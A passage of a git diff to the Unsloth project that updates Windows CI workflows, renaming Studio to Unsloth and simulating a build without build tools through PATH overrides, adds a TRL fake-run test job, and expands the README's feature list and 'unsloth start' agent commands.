           python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
 
-      - name: Install Studio (--local, --no-torch) with no build tools present
+      - name: Install Unsloth (--local, --no-torch) with no build tools present
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
           HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
+          # Set in-script (see the assert step); child processes inherit these.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           $ProgressPreference = 'SilentlyContinue'
           & ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
@@ -1419,13 +1538,13 @@ jobs:
           echo "Prebuilt installed with no build tools:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         run: |
           SHIM_DIR=~/.unsloth/studio/bin
           [ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; }
           cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
 
-      - name: Reset auth + boot Studio (API-only)
+      - name: Reset auth + boot Unsloth (API-only)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -1480,24 +1599,24 @@ jobs:
           [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
           echo "Inference OK without Visual Studio: $CONTENT"
 
-      - name: Restore Visual Studio + CMake
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
-          if ($env:HIDDEN_CMAKE) {
-            foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) {
-              if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          foreach ($scope in @('Machine', 'User')) {
+            $saved = Join-Path $root "orig-path-$scope.txt"
+            if (Test-Path -LiteralPath $saved) {
+              [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope)
+              Write-Host "Restored $scope Path scope."
             }
           }
+          Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         shell: cmd
-        run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
+        run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
 
       - name: Collect llama-server logs
         if: always()
@@ -1540,21 +1659,34 @@ jobs:
         with:
           python-version: '3.12'
 
-      - name: Hide Visual Studio
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # Retry the rename: a Program Files dir can hold a transient handle that
-          # makes Rename-Item intermittently fail with "Access is denied".
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) { [void] $blocked.Add($dir) }
+              }
             }
           }
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
-          }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not $blocked.Contains($_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
         env:
@@ -1577,25 +1709,34 @@ jobs:
           echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
 
       - name: The prebuilt resolver runs without Visual Studio
+        shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         run: |
+          $ErrorActionPreference = 'Stop'
+          # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
+          # python child inherits the overrides.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           # Resolver-only (no GPU on hosted runners, so the host resolves to the
           # CPU bundle). The point is that resolution needs no compiler/VS.
           python -m pip install --upgrade huggingface_hub
-          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || {
-            echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; }
-          cat /tmp/resolve.json
-          echo "Prebuilt resolver ran with no Visual Studio present."
+          if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
+          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
+          if ($LASTEXITCODE -ne 0) {
+            Write-Host "::error::resolver exited non-zero"
+            if (Test-Path resolve.json) { Get-Content resolve.json }
+            exit 1
+          }
+          Get-Content resolve.json
+          Write-Host "Prebuilt resolver ran with no Visual Studio present."
 
-      - name: Restore Visual Studio
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
+          Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
 
   # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
   pester:
@@ -1610,6 +1751,13 @@ jobs:
       - name: Install Pester v5
         shell: pwsh
         run: |
+          # PSGallery is intermittently absent from the repository list on GitHub's Windows
+          # runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
+          # name 'PSGallery' was found." Re-register the default gallery first so the policy
+          # change and module install below always have a repository to target.
+          if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
+            Register-PSRepository -Default -ErrorAction SilentlyContinue
+          }
           Set-PSRepository PSGallery -InstallationPolicy Trusted
           Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
           Import-Module Pester -MinimumVersion 5.5.0
diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml
index 405309916a..f401f7be44 100644
--- a/.github/workflows/studio-windows-ui-smoke.yml
+++ b/.github/workflows/studio-windows-ui-smoke.yml
@@ -4,11 +4,11 @@
 # Windows counterpart to studio-ui-smoke.yml / studio-mac-ui-smoke.yml.
 # Same Playwright + Chromium end-to-end chat UI flow + extra UI flow,
 # but on the FREE windows-latest runner so we catch Windows-specific
-# regressions in the install path (install.ps1), the Studio CLI's
+# regressions in the install path (install.ps1), the Unsloth CLI's
 # Windows process-management branches, and the llama.cpp prebuilt's
 # Windows HTTP layer.
 
-name: Windows Studio UI CI
+name: Windows Unsloth UI CI
 
 on:
   pull_request:
@@ -19,6 +19,7 @@ on:
       - 'install.ps1'
       - 'pyproject.toml'
       - 'tests/studio/**'
+      - '.github/scripts/run-studio-permission-browser.sh'
       - '.github/workflows/studio-windows-ui-smoke.yml'
   push:
     branches: [main, pip]
@@ -49,7 +50,7 @@ jobs:
       GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
       STUDIO_PORT: '18896'
       HF_HOME: ${{ github.workspace }}/hf-cache
-      # Force UTF-8 for stdio so Python tools (hf download, Studio
+      # Force UTF-8 for stdio so Python tools (hf download, Unsloth
       # CLI, etc.) can print Unicode characters like the success
       # checkmark "✓". Windows defaults to cp1252 / charmap and
       # any tool that prints "OK ✓" hits a UnicodeEncodeError.
@@ -121,7 +122,7 @@ jobs:
           # studio-windows-update-smoke.yml for the full rationale --
           # creating an empty studio/frontend/dist trips setup.ps1's
           # mtime-based staleness check into "frontend up to date, skip
-          # rebuild" and Studio boots with an empty dist directory.
+          # rebuild" and Unsloth boots with an empty dist directory.
           # Add-MpPreference accepts paths that do not yet exist.
           foreach ($p in @(
             "$env:USERPROFILE\.unsloth",
@@ -148,7 +149,7 @@ jobs:
           Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode
           Write-Host "seeded legacy launch-studio.vbs at $appDir"
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         # install.ps1 is the supported Windows installer. install.sh
         # has no Windows branch (apt-get / brew calls). The PS1
         # script's `Install-UnslothStudio @args` line at the bottom
@@ -205,7 +206,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Assert Studio launcher chain (no VBS, hidden PowerShell shortcut)
+      - name: Assert Unsloth launcher chain (no VBS, hidden PowerShell shortcut)
         # The shortcut launch path is otherwise untested here (the steps below
         # boot `unsloth studio` directly). Guard against re-introducing the VBS
         # that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk
@@ -234,7 +235,7 @@ jobs:
           }
           Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)"
 
-      - name: Launch Studio via the shortcut and assert health
+      - name: Launch Unsloth via the shortcut and assert health
         # Run the exact command the .lnk stores (hidden PowerShell over
         # launch-studio.ps1) and confirm it brings the backend up. This is the
         # only step that proves the shortcut launch is not silently broken.
@@ -265,10 +266,10 @@ jobs:
             $owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess
             if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null }
           } catch {}
-          if (-not $foundPort) { throw "Studio did not become healthy when launched via the shortcut" }
-          Write-Host "Studio healthy on port $foundPort (launched via the shortcut)"
+          if (-not $foundPort) { throw "Unsloth did not become healthy when launched via the shortcut" }
+          Write-Host "Unsloth healthy on port $foundPort (launched via the shortcut)"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         # install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe
         # and adds that dir to the User PATH via the Windows registry.
         # Registry-level PATH updates don't propagate to a running
@@ -284,7 +285,7 @@ jobs:
           fi
           # GITHUB_PATH wants Windows-style paths; convert via cygpath.
           cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
-          echo "Added Studio shim dir to PATH: $(cygpath -w "$SHIM_DIR")"
+          echo "Added Unsloth shim dir to PATH: $(cygpath -w "$SHIM_DIR")"
 
       - name: Install Playwright + Chromium
         # No --with-deps on Windows: that flag installs Linux apt
@@ -294,7 +295,7 @@ jobs:
           python -m pip install 'playwright>=1.45'
           python -m playwright install chromium
 
-      - name: Reset auth + boot Studio
+      - name: Reset auth + boot Unsloth
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -339,13 +340,17 @@ jobs:
           mkdir -p logs/playwright
           python tests/studio/playwright_chat_ui.py
 
-      - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
+      - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
         if: always()
         run: |
           kill "${STUDIO_PID}" 2>/dev/null || true
           sleep 2
 
-      - name: Reset auth + boot Studio for extra UI tests (port 18897)
+      - name: Edge permission controls
+        run: |
+          bash .github/scripts/run-studio-permission-browser.sh 18895 chromium msedge
+
+      - name: Reset auth + boot Unsloth for extra UI tests (port 18897)
         run: |
           unsloth studio reset-password
           mkdir -p logs
@@ -372,7 +377,7 @@ jobs:
           echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
           echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
 
-      - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
+      - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
         env:
           BASE_URL: http://127.0.0.1:18897
           STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@@ -386,7 +391,7 @@ jobs:
           mkdir -p logs/playwright_extra
           python tests/studio/playwright_extra_ui.py
 
-      - name: Stop second Studio
+      - name: Stop second Unsloth
         if: always()
         run: |
           kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
@@ -402,5 +407,7 @@ jobs:
             logs/studio_extra.log
             logs/install.log
             logs/playwright
+            logs/playwright-permissions-*
             logs/playwright_extra
+            logs/studio-permissions-*.log
           retention-days: 7
diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml
index 888b3d70a3..42d74d47d2 100644
--- a/.github/workflows/studio-windows-update-smoke.yml
+++ b/.github/workflows/studio-windows-update-smoke.yml
@@ -5,19 +5,19 @@
 # studio-mac-update-smoke.yml. Verifies that on the FREE
 # windows-latest runner:
 #
-#   1. install.ps1 --local --no-torch installs Studio AND auto-fetches
-#      the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu-
-#      x64 from ggml-org/llama.cpp). Hitting the source-build fallback
-#      is treated as an Unsloth bug -- Studio must always pick the
+#   1. install.ps1 --local --no-torch installs Unsloth AND auto-fetches
+#      the prebuilt llama.cpp Windows binary (app-<tag>-windows-x64-cpu
+#      from unslothai/llama.cpp). Hitting the source-build fallback is
+#      treated as an Unsloth bug -- Unsloth must always pick the
 #      prebuilt on Windows.
 #   2. unsloth studio update --local is idempotent. Two consecutive
 #      runs both report "prebuilt up to date and validated", no
 #      source-build fallback. The CLI's _find_setup_script picks
 #      setup.ps1 on Windows automatically.
-#   3. The installed Studio still boots and /api/health returns
+#   3. The installed Unsloth still boots and /api/health returns
 #      healthy after the update path.
 
-name: Windows Studio Update CI
+name: Windows Unsloth Update CI
 
 on:
   pull_request:
@@ -45,7 +45,7 @@ permissions:
 
 jobs:
   update-idempotency:
-    name: Studio Updating Tests
+    name: Unsloth Updating Tests
     runs-on: windows-latest
     timeout-minutes: 30
     defaults:
@@ -53,7 +53,7 @@ jobs:
         shell: bash
     env:
       # Force UTF-8 for stdio (Windows defaults to cp1252; hf
-      # download / Studio CLI print "✓" checkmarks and crash
+      # download / Unsloth CLI print "✓" checkmarks and crash
       # otherwise).
       PYTHONIOENCODING: utf-8
       PYTHONUTF8: '1'
@@ -90,7 +90,7 @@ jobs:
         #     reuses the existing Node with no download.
         #
         # (2) Defender. windows-latest's real-time scan opens / hashes
-        #     every file Studio writes during install (Vite output =
+        #     every file Unsloth writes during install (Vite output =
         #     thousands of small chunks, uv pip = wheel-extraction =
         #     thousands of small files). The latency dominates the
         #     200 s frontend build and the 90 s deps install. Adding
@@ -109,7 +109,7 @@ jobs:
           # setup.ps1 line 1281-1296's mtime-based "is the frontend
           # stale?" check into "up to date, skip rebuild", because the
           # newly-created dist's mtime is younger than every source
-          # file. Studio then boots with an empty dist and 500s on
+          # file. Unsloth then boots with an empty dist and 500s on
           # GET / with FileNotFoundError: dist\index.html. See run
           # 25546676715 / job 74984469728.
           # Add-MpPreference accepts paths that do not yet exist; the
@@ -129,7 +129,7 @@ jobs:
             }
           }
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -168,7 +168,7 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
-      - name: Add Studio shim to GITHUB_PATH
+      - name: Add Unsloth shim to GITHUB_PATH
         run: |
           SHIM_DIR=~/.unsloth/studio/bin
           if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then
@@ -212,7 +212,7 @@ jobs:
           grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
           echo "second update was clean"
 
-      - name: Boot Studio briefly to confirm the install is still usable
+      - name: Boot Unsloth briefly to confirm the install is still usable
         run: |
           mkdir -p logs
           UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \
@@ -239,13 +239,13 @@ jobs:
             sleep 1
           done
           if [ -z "$HEALTHY" ]; then
-            echo "Studio failed to come up after \`update\`"
+            echo "Unsloth failed to come up after \`update\`"
             tail -200 logs/studio.log
             kill "$PID" 2>/dev/null || true
             exit 1
           fi
           kill "$PID" 2>/dev/null || true
-          echo "post-update Studio /api/health OK"
+          echo "post-update Unsloth /api/health OK"
 
       - name: Uninstall and verify clean
         # Round-trip through scripts/uninstall.ps1 against the default
diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index e492d21e99..6becccc90a 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -285,6 +285,92 @@ jobs:
             tests/vllm_compat/test_extended_module_imports.py \
             -v --tb=short
 
+  # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike
+  # the static symbol/source greps above, this drives unsloth's actual
+  # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only
+  # runner under the tests/conftest.py spoof harness -- no GPU, no training.
+  # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple
+  # per-token-logps return, restructured PEFT ref-adapter block) by asserting
+  # the generated Unsloth trainer still satisfies the transform contracts.
+  grpo-fake-run:
+    name: GRPO fake-run (latest + main TRL, CPU spoof)
+    runs-on: ubuntu-latest
+    timeout-minutes: 18
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+          path: unsloth
+      - name: Clone unsloth-zoo @ main
+        run: |
+          for attempt in 1 2 3; do
+            rm -rf "$RUNNER_TEMP/unsloth-zoo"
+            if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \
+                "$RUNNER_TEMP/unsloth-zoo"; then
+              break
+            fi
+            if [ "$attempt" -eq 3 ]; then
+              echo "::error::git clone unsloth-zoo failed after 3 attempts"
+              exit 1
+            fi
+            delay=$((5 * attempt))
+            echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..."
+            sleep "$delay"
+          done
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+      - name: Install CPU torch + ecosystem + TRL latest
+        run: |
+          python -m pip install --upgrade pip
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
+            'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
+          # Ecosystem floors unsloth needs; TRL itself is installed last so it
+          # can pull the transformers/peft it requires.
+          pip install \
+            'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \
+            'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \
+            'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow
+          pip install --upgrade trl
+          pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo"
+          pip install --no-deps -e ./unsloth
+      - name: Fake-run vs TRL latest
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          # Disable dynamo/inductor at the process level, before conftest.py's early
+          # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
+          # (defense in depth; the CPU fake-train also flips this at runtime).
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
+        run: |
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
+            -v --tb=short
+      # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
+      # TRL break does not red every PR. github.event_name is valid in a step if.
+      - name: Fake-run vs TRL main (scheduled / dispatch only)
+        if: ${{ github.event_name != 'pull_request' }}
+        env:
+          UNSLOTH_IS_PRESENT: '1'
+          UNSLOTH_COMPILE_DISABLE: '1'
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
+          PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
+        run: |
+          pip install --upgrade "git+https://github.com/huggingface/trl"
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
+            -v --tb=short
+
   # Daily-only: same suites but with --strict on importable upstream
   # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
   daily-fresh-fetch:
diff --git a/.github/workflows/wheel-smoke.yml b/.github/workflows/wheel-smoke.yml
index 3de3c33ca2..cdad617027 100644
--- a/.github/workflows/wheel-smoke.yml
+++ b/.github/workflows/wheel-smoke.yml
@@ -3,7 +3,7 @@
 
 # Builds the PyPI wheel from the PR branch, then verifies the built wheel
 # actually contains what we expect to ship and does NOT contain the broken
-# Studio bundle that 2026.5.1 published. This is the single workflow that
+# Unsloth bundle that 2026.5.1 published. This is the single workflow that
 # would have blocked the 2026.5.1 release before twine upload.
 #
 # Verified locally end-to-end against this branch:
@@ -12,7 +12,7 @@
 #       lockfile shipped, frontend dist shipped,
 #       no node_modules in wheel, no bun.lock in wheel,
 #       main bundle has unstable_Provider hits=1 (assistant-ui internals only).
-#   - Studio backend imports cleanly from the installed wheel with the
+#   - Unsloth backend imports cleanly from the installed wheel with the
 #     lightweight dep set below.
 
 name: Wheel CI
@@ -101,7 +101,7 @@ jobs:
               hits = data.count("unstable_Provider:")
               print(f"main bundle: {js[0]}")
               print(f"unstable_Provider hits: {hits} (>=4 indicates 2026.5.1 regression)")
-              checks["bundle has no Studio unstable_Provider call site"] = (hits < 4)
+              checks["bundle has no Unsloth unstable_Provider call site"] = (hits < 4)
 
               print()
               for k, v in checks.items():
@@ -109,7 +109,7 @@ jobs:
               sys.exit(0 if all(checks.values()) else 1)
           PY
 
-      - name: Studio backend import smoke
+      - name: Unsloth backend import smoke
         # Imports `studio.backend.main:app` from the freshly-installed wheel in
         # a clean venv. This catches the class of bug that 2026.5.1 shipped with:
         # frontend dist missing, package-lock.json missing, or the wheel's Python
@@ -125,7 +125,7 @@ jobs:
           /tmp/v/bin/pip install --no-deps dist/unsloth-*.whl
           # Run from /tmp so Python imports the installed package, not the source tree.
           cd /tmp
-          /tmp/v/bin/python -c "from studio.backend.main import app; print('Studio backend OK:', app.title)"
+          /tmp/v/bin/python -c "from studio.backend.main import app; print('Unsloth backend OK:', app.title)"
 
       - name: Upload wheel on failure
         if: failure()
diff --git a/.gitignore b/.gitignore
index 9f7d4b8c60..39ca2226ca 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,6 +11,8 @@ outputs/
 exports/
 /datasets/
 studio/backend/assets/datasets/
+# Generated async worker / reviewer transcripts (never part of the product).
+studio/backend/async_task_outputs/
 unsloth_training_checkpoints/
 *.gguf
 *.safetensors
diff --git a/README.md b/README.md
index e3fd4e6980..514454f985 100644
--- a/README.md
+++ b/README.md
@@ -11,6 +11,7 @@ Unsloth Studio lets you run and train models locally.
 
 <p align="center">
   <a href="#-features">Features</a> •
+  <a href="#-unsloth-news">News</a> •
   <a href="#-install">Quickstart</a> •
   <a href="#-free-notebooks">Notebooks</a> •
   <a href="https://unsloth.ai/docs">Documentation</a>
@@ -47,15 +48,51 @@ Unsloth Studio (Beta) lets you run and train text, [audio](https://unsloth.ai/do
 * [Auto set inference settings](https://unsloth.ai/docs/new/studio/chat#auto-parameter-tuning) and customize chat templates.
 * We work directly with teams behind [gpt-oss](https://docs.unsloth.ai/new/gpt-oss-how-to-run-and-fine-tune#unsloth-fixes-for-gpt-oss), [Qwen3](https://www.reddit.com/r/LocalLLaMA/comments/1kaodxu/qwen3_unsloth_dynamic_ggufs_128k_context_bug_fixes/), [Llama 4](https://github.com/ggml-org/llama.cpp/pull/12889), [Mistral](https://huggingface.co/mistralai/Mistral-Medium-3.5-128B/discussions/18), [Gemma 1-3](https://news.ycombinator.com/item?id=39671146), and [Phi-4](https://unsloth.ai/blog/phi4), where we’ve fixed bugs that improve model accuracy.
 * Chat with images, audio, PDFs, code, DOCX and more. [Connect API providers](https://unsloth.ai/docs/integrations/connections) (OpenAI, Anthropic) or servers (vLLM, Ollama).
+* [**Compare any two models**](https://unsloth.ai/docs/new/studio/chat#model-arena) side by side with the same prompt.
+* **OpenAI/Anthropic-compatible APIs**: Serve local models through `/v1/chat/completions`, `/v1/responses` and `/v1/messages`.
+* **Connect local models to agents**: Use `unsloth start` with Claude Code, Codex, Hermes and more.
+* **Web/PDF search** can read PDF papers, manuals and other PDF results.
+* **GGUF hardware controls**: Choose GPUs/layers, offload MoE experts, use multi-GPU or Tensor Parallelism.
+* The opt-in **MCP control endpoint** lets AI clients manage models, training, recipes and exports.
 ### Training
-* Train and RL **500+ models** up to **2x faster** with up to **70% less VRAM**, with no accuracy loss.
-* Custom Triton and mathematical **kernels**. See some collabs we did with [PyTorch](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) and [Hugging Face](https://unsloth.ai/docs/new/faster-moe).
+* Train and RL **500+ models** up to **2x faster** with **70% less VRAM**; MoE up to **12x faster**.
+* Train and run RL on [AMD GPUs](https://unsloth.ai/docs/basics/amd) across Windows, WSL and Linux.
 * **Data Recipes**: [Auto-create datasets](https://unsloth.ai/docs/new/studio/data-recipe) from **PDF, CSV, DOCX** etc. Edit data in a visual-node workflow.
-* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** (RL): The most efficient [RL](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide) library, using **80% less VRAM** for GRPO, [FP8](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide/fp8-reinforcement-learning) etc.
-* Supports full fine-tuning, RL, pretraining, 4-bit, 16-bit and, FP8 training.
+* **[Reinforcement Learning](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide)** uses **80% less VRAM** for GRPO, FP8 and vision RL, with 7x longer contexts.
+* [**Long-context training**](https://unsloth.ai/docs/new/3x-faster-training-packing): **3x faster**, 30% less VRAM and 500K+ context.
+* Supports LoRA/QLoRA, full fine-tuning, RL, pretraining, 4-bit, 16-bit and FP8.
+* Custom Triton and mathematical **kernels** built with PyTorch and Hugging Face.
 * **Observability**: Monitor training live, track loss and GPU usage and customize graphs.
 * [Multi-GPU](https://unsloth.ai/docs/basics/multi-gpu-training-with-unsloth) training is supported, with major improvements coming soon.
 
+## 🚀 Unsloth Start
+
+[Unsloth Start](https://unsloth.ai/docs/integrations/unsloth-start) connects [Claude Code](https://unsloth.ai/docs/basics/claude-code), [Codex](https://unsloth.ai/docs/basics/codex) and other agents to local models with one command.
+
+Start Unsloth, load a model, open your project folder, then run:
+
+```bash
+unsloth start claude
+```
+
+Replace `claude` with any supported agent:
+
+| Agent | Command |
+| --- | --- |
+| Claude Code | `unsloth start claude` |
+| OpenAI Codex | `unsloth start codex` |
+| Hermes Agent | `unsloth start hermes` |
+| OpenClaw | `unsloth start openclaw` |
+| OpenCode | `unsloth start opencode` |
+| Pi Coding Agent | `unsloth start pi` |
+
+Claude Code, Codex, OpenCode and Pi can keep their current model and use Unsloth as a local
+subagent:
+
+```bash
+unsloth start claude --as-subagent --model unsloth/model-GGUF:quant
+```
+
 ## 📥 Install
 Unsloth can be used in two ways: through **[Unsloth Studio](https://unsloth.ai/docs/new/studio/)**, the web UI, or through **Unsloth Core**, the code-based version. Each has different requirements.
 
